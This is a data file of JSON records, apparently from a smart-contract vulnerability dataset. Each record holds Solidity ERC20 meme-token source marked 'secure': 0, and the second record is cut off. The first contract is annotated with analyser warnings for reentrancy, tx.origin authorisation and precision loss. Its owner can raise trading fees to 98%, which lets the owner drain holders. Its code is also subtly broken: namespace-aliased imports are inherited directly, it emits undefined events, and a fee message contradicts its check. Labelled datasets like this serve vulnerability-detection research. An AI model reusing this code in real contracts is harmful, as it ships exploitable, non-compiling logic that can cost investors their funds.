{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SEW is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n address public constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n address public marketingWallet;\n\n address public devWallet;\n\n uint256 public maxTransactionAmount;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public maxWallet;\n\n uint256 public percentForLPBurn = 0;\n\n bool public lpBurnEnabled = true;\n\n uint256 public lpBurnFrequency = 3600 seconds;\n\n uint256 public lastLpBurnTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4ca0ea): SEW.manualBurnFrequency should be constant \n\t// Recommendation for e4ca0ea: Add the 'constant' attribute to state variables that never change.\n uint256 public manualBurnFrequency = 60 minutes;\n\n uint256 public lastManualLpBurnTime;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n\n uint256 public buyMarketingFee;\n\n uint256 public buyLiquidityFee;\n\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellMarketingFee;\n\n uint256 public sellLiquidityFee;\n\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n\n uint256 public tokensForLiquidity;\n\n uint256 public tokensForDev;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event DevWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n event ManualNukeLP();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 933ebb3): SEW.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 933ebb3: Rename the local variables that shadow another component.\n constructor() ERC20(\"slerf in a memes world\", \"SEW\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 0;\n\n uint256 _buyLiquidityFee = 0;\n\n uint256 _buyDevFee = 0;\n\n uint256 _sellMarketingFee = 0;\n\n uint256 _sellLiquidityFee = 0;\n\n uint256 _sellDevFee = 0;\n\n uint256 totalSupply = 1_000_000_000 * 1e18;\n\n maxTransactionAmount = 18_000_000 * 1e18;\n\n maxWallet = 18_000_000 * 1e18;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n\n buyLiquidityFee = _buyLiquidityFee;\n\n buyDevFee = _buyDevFee;\n\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n\n sellLiquidityFee = _sellLiquidityFee;\n\n sellDevFee = _sellDevFee;\n\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n marketingWallet = address(0x097dCb3Fe6081bF58841174a697e3BFC5578Ba98);\n\n devWallet = address(0x097dCb3Fe6081bF58841174a697e3BFC5578Ba98);\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function setslerf() external onlyOwner {\n tradingActive = true;\n\n swapEnabled = true;\n\n lastLpBurnTime = block.timestamp;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2a89c8c): SEW.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 2a89c8c: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: 2a89c8c\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6e9d37c): SEW.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for 6e9d37c: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 6e9d37c\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c5a7c28): SEW.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for c5a7c28: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: c5a7c28\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0f3b499): Missing events for critical arithmetic parameters.\n\t// Recommendation for 0f3b499: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 0f3b499\n buyMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 0f3b499\n buyLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 0f3b499\n buyDevFee = _devFee;\n\n\t\t// events-maths | ID: 0f3b499\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n require(buyTotalFees <= 98, \"Must keep fees at 90% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 929dc44): Missing events for critical arithmetic parameters.\n\t// Recommendation for 929dc44: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 929dc44\n sellMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 929dc44\n sellLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 929dc44\n sellDevFee = _devFee;\n\n\t\t// events-maths | ID: 929dc44\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n require(sellTotalFees <= 98, \"Must keep fees at 98% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"Liquidity pair cant be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1f48001): SEW.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for 1f48001: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\n\t\t// missing-zero-check | ID: 1f48001\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5ed3580): SEW.updateDevWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for 5ed3580: Check that the address is not zero.\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n\n\t\t// missing-zero-check | ID: 5ed3580\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n event BoughtEarly(address indexed sniper);\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a4eaf8e): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for a4eaf8e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 532b7f2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 532b7f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 5294425): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 5294425: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d327c24): SEW._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees\n\t// Recommendation for d327c24: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0985fab): SEW._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for 0985fab: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ead034f): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for ead034f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f876543): SEW._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for f876543: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5b13f3a): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 5b13f3a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ba96d35): SEW._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for ba96d35: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ef2507): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ef2507: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5d178d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5d178d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: 5294425\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 532b7f2\n\t\t\t// reentrancy-eth | ID: 8ef2507\n\t\t\t// reentrancy-eth | ID: 5d178d9\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 8ef2507\n swapping = false;\n }\n\n if (\n\t\t\t// timestamp | ID: a4eaf8e\n !swapping &&\n automatedMarketMakerPairs[to] &&\n lpBurnEnabled &&\n block.timestamp >= lastLpBurnTime + lpBurnFrequency &&\n !_isExcludedFromFees[from]\n ) {\n\t\t\t// reentrancy-events | ID: 532b7f2\n\t\t\t// reentrancy-eth | ID: 5d178d9\n autoBurnLiquidityPairTokens();\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: ead034f\n\t\t\t\t// divide-before-multiply | ID: 5b13f3a\n\t\t\t\t// divide-before-multiply | ID: ba96d35\n fees = amount.mul(sellTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: ead034f\n\t\t\t\t// reentrancy-eth | ID: 5d178d9\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: ba96d35\n\t\t\t\t// reentrancy-eth | ID: 5d178d9\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 5b13f3a\n\t\t\t\t// reentrancy-eth | ID: 5d178d9\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: d327c24\n\t\t\t\t// divide-before-multiply | ID: 0985fab\n\t\t\t\t// divide-before-multiply | ID: f876543\n fees = amount.mul(buyTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 0985fab\n\t\t\t\t// reentrancy-eth | ID: 5d178d9\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: f876543\n\t\t\t\t// reentrancy-eth | ID: 5d178d9\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: d327c24\n\t\t\t\t// reentrancy-eth | ID: 5d178d9\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 532b7f2\n\t\t\t\t// reentrancy-eth | ID: 5d178d9\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 532b7f2\n\t\t// reentrancy-eth | ID: 5d178d9\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6512046\n\t\t// reentrancy-events | ID: 532b7f2\n\t\t// reentrancy-benign | ID: 4874d86\n\t\t// reentrancy-no-eth | ID: 57fc75f\n\t\t// reentrancy-eth | ID: 8ef2507\n\t\t// reentrancy-eth | ID: 5d178d9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 141b4af): SEW.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,deadAddress,block.timestamp)\n\t// Recommendation for 141b4af: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6512046\n\t\t// reentrancy-events | ID: 532b7f2\n\t\t// reentrancy-benign | ID: 4874d86\n\t\t// unused-return | ID: 141b4af\n\t\t// reentrancy-eth | ID: 8ef2507\n\t\t// reentrancy-eth | ID: 5d178d9\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n deadAddress,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6512046): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6512046: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4874d86): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4874d86: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 57fc75f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 57fc75f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: fb74215): SEW.swapBack() uses a dangerous strict equality contractBalance == 0 || totalTokensToSwap == 0\n\t// Recommendation for fb74215: Don't use strict equality to determine if an account has enough Ether or tokens.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n\n bool success;\n\n\t\t// incorrect-equality | ID: fb74215\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 10) {\n contractBalance = swapTokensAtAmount * 10;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 6512046\n\t\t// reentrancy-benign | ID: 4874d86\n\t\t// reentrancy-no-eth | ID: 57fc75f\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n\t\t// reentrancy-no-eth | ID: 57fc75f\n tokensForLiquidity = 0;\n\n\t\t// reentrancy-no-eth | ID: 57fc75f\n tokensForMarketing = 0;\n\n\t\t// reentrancy-no-eth | ID: 57fc75f\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 6512046\n\t\t// reentrancy-events | ID: 532b7f2\n\t\t// reentrancy-benign | ID: 4874d86\n\t\t// reentrancy-eth | ID: 8ef2507\n\t\t// reentrancy-eth | ID: 5d178d9\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 6512046\n\t\t\t// reentrancy-benign | ID: 4874d86\n addLiquidity(liquidityTokens, ethForLiquidity);\n\n\t\t\t// reentrancy-events | ID: 6512046\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n\t\t// reentrancy-events | ID: 532b7f2\n\t\t// reentrancy-eth | ID: 8ef2507\n\t\t// reentrancy-eth | ID: 5d178d9\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: dc4618b): SEW.setAutoLPBurnSettings(uint256,uint256,bool) should emit an event for lpBurnFrequency = _frequencyInSeconds percentForLPBurn = _percent \n\t// Recommendation for dc4618b: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 2637907): SEW.setAutoLPBurnSettings(uint256,uint256,bool) contains a tautology or contradiction require(bool,string)(_percent <= 1000 && _percent >= 0,Must set auto LP burn percent between 0% and 10%)\n\t// Recommendation for 2637907: Fix the incorrect comparison by changing the value type or the comparison.\n function setAutoLPBurnSettings(\n uint256 _frequencyInSeconds,\n uint256 _percent,\n bool _Enabled\n ) external onlyOwner {\n require(\n _frequencyInSeconds >= 600,\n \"cannot set buyback more often than every 10 minutes\"\n );\n\n\t\t// tautology | ID: 2637907\n require(\n _percent <= 1000 && _percent >= 0,\n \"Must set auto LP burn percent between 0% and 10%\"\n );\n\n\t\t// events-maths | ID: dc4618b\n lpBurnFrequency = _frequencyInSeconds;\n\n\t\t// events-maths | ID: dc4618b\n percentForLPBurn = _percent;\n\n lpBurnEnabled = _Enabled;\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: 2a38e82): The function SEW.autoBurnLiquidityPairTokens() reads liquidityPairBalance = this.balanceOf(uniswapV2Pair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for 2a38e82: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 62ee79c): Reentrancy in SEW.autoBurnLiquidityPairTokens() External calls pair.sync() Event emitted after the call(s) AutoNukeLP()\n\t// Recommendation for 62ee79c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function autoBurnLiquidityPairTokens() internal returns (bool) {\n lastLpBurnTime = block.timestamp;\n\n\t\t// var-read-using-this | ID: 2a38e82\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(\n 10000\n );\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n\n\t\t// reentrancy-events | ID: 532b7f2\n\t\t// reentrancy-events | ID: 62ee79c\n\t\t// reentrancy-eth | ID: 5d178d9\n pair.sync();\n\n\t\t// reentrancy-events | ID: 532b7f2\n\t\t// reentrancy-events | ID: 62ee79c\n emit AutoNukeLP();\n\n return true;\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: 75a47ab): The function SEW.manualBurnLiquidityPairTokens(uint256) reads liquidityPairBalance = this.balanceOf(uniswapV2Pair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for 75a47ab: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 78a2dc9): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 78a2dc9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b5815f7): Reentrancy in SEW.manualBurnLiquidityPairTokens(uint256) External calls pair.sync() Event emitted after the call(s) ManualNukeLP()\n\t// Recommendation for b5815f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function manualBurnLiquidityPairTokens(\n uint256 percent\n ) external onlyOwner returns (bool) {\n\t\t// timestamp | ID: 78a2dc9\n require(\n block.timestamp > lastManualLpBurnTime + manualBurnFrequency,\n \"Must wait for cooldown to finish\"\n );\n\n require(percent <= 1000, \"May not nuke more than 10% of tokens in LP\");\n\n lastManualLpBurnTime = block.timestamp;\n\n\t\t// var-read-using-this | ID: 75a47ab\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n\n\t\t// reentrancy-events | ID: b5815f7\n pair.sync();\n\n\t\t// reentrancy-events | ID: b5815f7\n emit ManualNukeLP();\n\n return true;\n }\n}", "file_name": "solidity_code_1087.sol", "secure": 0, "size_bytes": 31111 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 99b4c46): SUNGHOON.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 99b4c46: Consider ordering multiplication before division.\ncontract SUNGHOON is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c13f09): SUNGHOON._tax90Receipt should be constant \n\t// Recommendation for 2c13f09: Add the 'constant' attribute to state variables that never change.\n address payable private _tax90Receipt =\n payable(0xE9941527EAA6b7c364f3E3C38B04e6eC56E0fF98);\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sunghoon\";\n\n string private constant _symbol = unicode\"SUNGHOON\";\n\n\t// divide-before-multiply | ID: 1fd9345\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 99b4c46\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 0f19472): SUNGHOON._taxSwapThreshold should be constant \n\t// Recommendation for 0f19472: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 179c4bf\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 69fe700): SUNGHOON._maxTaxSwap should be constant \n\t// Recommendation for 69fe700: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 5172eee\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization 